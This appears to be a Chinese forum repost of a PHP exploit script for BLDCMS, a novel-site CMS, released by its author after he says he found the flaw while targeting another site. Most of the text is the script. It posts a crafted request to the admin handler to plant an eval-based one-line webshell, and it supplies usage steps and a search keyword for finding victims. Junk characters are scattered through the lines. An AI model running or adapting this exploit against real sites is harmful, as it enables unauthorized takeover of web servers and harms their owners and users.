BLDCMS(白老大小说) Getshell 0day EXP

admin

之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞
. D  m3 ~3 n3 z! n
& ~. Y; Q9 r8 I4 L6 J# L/ o
6 v5 j  V) R! v/ }, n话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了
: }* ^+ C) i* b( {! p7 a; n
$ f% D; t' _. ~  S既然都有人发了 我就把我之前写好的EXP放出来吧

view source print?01.php;">
02.<!--?php
03.echo "-------------------------------------------------------------------
4 V$ r8 f% B) U6 L& N04.
05.------------\r\n              BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP
9 |5 y& z5 ^  W( v! G& J06.
07.(GPC=Off)\r\n            Vulnerability discovery&Code by 数据流@wooyun
) C1 \4 X7 a* A( g& V08.
09.QQ:981009941\r\n                                2013.3.21\r\n            
10.
11.
. k0 \3 }+ Z  A5 |) W6 I12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码
13.
8 J, Y2 s3 Y6 J; b6 L. `" `+ z14.)\r\n                    搜索关键字:\"开发者: 白老大小说\"\r\n-----------
15.
3 x9 R. I, ?" o! P6 q! N16.--------------------------------------------------------------------\r\n";
17.$url=$argv[1];
" F6 p% J6 j/ J6 K( T6 H' q% A18.$dir=$argv[2];
19.$pass=$argv[3];
20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
21.if (emptyempty($pass)||emptyempty($url))
3 P( w& f' J9 _1 f22.{exit("请输入参数");}
23.else
24.{
25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev
26.
5 P3 W5 l/ ?  A7 F  X27.al;
28.$length = strlen($fuckdata);
29.function getshell($url,$pass)
30.{
31.global $url,$dir,$pass,$eval,$length,$fuckdata;
32.$header = "OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
1 u& t( E; @  f1 w( u# C33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
34.$header .= "User-Agent: MSIE\r\n";
. \; W, c  c( u3 A- ]% `3 i35.$header .= "Host:".$url."\r\n";
' h! C+ \7 y) b  C( e36.$header .= "Content-Length: ".$length."\r\n";
37.$header .= "Connection: Close\r\n";
% g* m2 ^  i( c* S/ S38.$header .="\r\n";
+ \, R/ h" c+ @  ]+ l39.$header .= $fuckdata."\r\n\r\n";
40.$fp = fsockopen($url, 80,$errno,$errstr,15);
41.if (!$fp)
" {$ i8 u+ O' ~42.{
% c/ E) _/ e4 r' K" C43.exit ("利用失败:请检查指定目标是否能正常打开");
44.}
45.else{ if (!fputs($fp,$header))
; g$ O: W$ C$ P( r- [) I6 c/ Y46.{exit ("利用失败");}
47.else
3 k; D, f  u% K8 q' m+ D) i48.{
49.$receive = '';
. y/ S. w# W! A) z: E( E50.while (!feof($fp)) {
51.$receive .= @fgets($fp, 1000);
52.}
: Z# M9 e& |5 D- r& H' [53.@fclose($fp);
54.echo "$url/$dir/conn/config/normal2.php passpass(如连接失败 请检查目标
55.
56.GPC是否=off)";
8 p6 ?, w$ z3 o" @/ ^  H- J57.}}
/ ?' B9 D3 ^. @9 f) Z8 c58.}
) l0 i% P( j) ^: c59.}
60.getshell($url,$pass);
61.?-->

7 U& q9 ~: h" _& b- f7 A9 O6 M( C5 t

by 数据流